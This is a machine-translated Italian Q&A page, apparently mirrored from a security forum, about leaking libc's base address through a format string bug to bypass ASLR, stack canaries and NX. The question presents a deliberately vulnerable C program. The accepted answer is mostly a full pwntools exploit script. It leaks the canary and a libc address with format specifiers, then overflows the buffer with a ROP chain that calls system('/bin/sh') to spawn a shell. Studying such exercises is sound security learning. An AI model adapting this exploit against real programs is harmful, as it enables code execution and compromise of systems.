Come perdere l'indirizzo di base di libc usando il format string exploit

Question

Come perdere l'indirizzo di base di libc usando il format string exploit

#1 da (1 voti)

0

Ho cercato per un po 'di tempo di scrivere un exploit in un programma molto semplice che ha una stringa di formato e una vulnerabilità di buffer overflow. Questo programma ha NX, SSP e ASLR.

#include <stdio.h>

int main(int argc, char *argv[]){
    char buff[64];
    printf(argv[1]);
    printf("\n");
    gets(buff);
    return 0;
}

Ho aggirato con successo questo 2 primo, ma non posso battere l'ASLR.

NOTA: Bruteforce non è un'opzione

La mia idea è di divulgare una funzione di libc e sottrarre l'offset, ma non so come farlo con una vulnerabilità di stringa di formato. Inoltre, devo dire che null-bytes non può essere scritto, come input è ottenuto dagli argomenti.

Domande:

È persino sfruttabile?

Se lo è, come posso perdere una voce GOT / PLT per calcolare l'indirizzo di base della libc?

Sono sulla strada giusta?

linux exploit aslr

posta L00PeR 19.01.2018 - 20:44

fonte

1 risposta

Leggi altre domande sui tag linux exploit aslr

Sono stato hackerato ora come faccio a recuperare [chiuso] DNS di terze parti su ISP DNS - problema di privacy

score 1 · Accepted Answer

Grazie ad Andrea, che mi ha aiutato nei commenti, sono finalmente riuscito a scrivere un exploit affidabile. L'indizio per raggiungerlo, era guardare attentamente lo stack. Lì, ho potuto trovare l'indirizzo di una funzione __libc_start_main()+240 che potrei usare in seguito per calcolare l'indirizzo di base di libc sottraendo l'offset. Ecco il mio pieno exploit, spero che questo aiuti le altre persone a capire come sconfiggere ASLR, DEP e SSP:)

#!/usr/bin/env python
from pwn import *

_libc_start_main_offset = 0x0000000000020740

# GADGETS of /lib/x86-64/libc-2.23.so

POPRDI = 0x0000000000042c0d

# leak for getting stack canary and __libc_start_main
leak = "%17$p,%19$p"

# padding
padding = "A"*72

# pause for attaching with gdb for debugging purposes
# pause()

# start the process
p = process(["./vuln", leak])

# First address is the cookie
cookie = p.recvuntil(",")

# And the other the libc funtion address
_libc_start_main_address = p.recv()

# Print the cookie
log.info("Cookie: "+cookie[:len(cookie)-1])

# We parse the cookie
cookie = cookie[2:len(cookie)-1].decode("hex")[::-1]

# We parse the libc function address
_libc_start_main_address = u64(("0000" + _libc_start_main_address[2:len(_libc_start_main_address)-1]).decode("hex")[::-1])-240

# We print and calculate the libc base address
log.info("libc base address: "+hex(_libc_start_main_address-_libc_start_main_offset))
libc_base = _libc_start_main_address-_libc_start_main_offset
system = 0x0000000000045390 + libc_base

POPRDI += libc_base
binsh = libc_base + 0x18cd17

log.info("binsh is at: "+hex(binsh))

# Making the payload
payload = ""
payload += padding
payload += cookie
payload += "AAAAAAAA"
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
# Sending the exploit
p.sendline(payload+"\n")

# Spawning shell
p.interactive()